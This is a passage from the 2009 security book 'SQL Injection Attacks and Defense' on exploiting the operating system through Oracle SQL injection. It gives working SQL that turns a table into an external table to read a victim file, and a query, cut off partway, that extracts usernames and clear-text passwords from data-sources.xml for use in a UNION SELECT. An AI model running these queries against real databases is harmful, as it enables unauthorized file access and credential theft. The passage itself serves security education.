SQL Injection Attacks and Defense - 2009

290 Chapter 6 • Exploiting the Operating System
Since Oracle 9i Rel. 2, Oracle offers the ability to read files via external tables. Oracle
uses the SQL*Loader or Oracle Datapump (since 10g) to read data from a structured file.
If an SQL injection vulnerability exists in a CREATE TABLE statement, it’s possible to
modify the normal table to an external table.
Here is the sample code for an external table:
create directory ext as 'C:\';
CREATE TABLE ext_tab (
line varchar2(256))
ORGANIZATION EXTERNAL (
TYPE oracle_loader
DEFAULT DIRECTORY ext
ACCESS PARAMETERS (
RECORDS DELIMITED BY NEWLINE
BADFILE 'bad_data.bad'
LOGFILE 'log_data.log'
FIELDS TERMINATED BY ','
MISSING FIELD VALUES ARE NULL
REJECT ROWS WITH ALL NULL FIELDS
(line))
LOCATION ('victim.txt')
)
PARALLEL
REJECT LIMIT 0
NOMONITORING;
Select * from ext_tab;
The next code snippet reads the username, clear-text password, and connect string from
the data-sources.xml file. This is a default file (in Oracle 11g) and it contains a connect string
for Java. The big advantage of this code is the fact that you can use it inside select statements
in a function or as a UNION SELECT.
select
extractvalue(value(c), '/connection-factory/@user')||'/'||extractvalue(value(c),
'/connection-factory/@password')||'@'||substr(extractvalue(value(c),
'/connection-factory/@url'),instr(extractvalue(value(c),
'/connection-factory/@url'),'//')+2) conn
FROM table(
XMLSequence(
extract(
xmltype(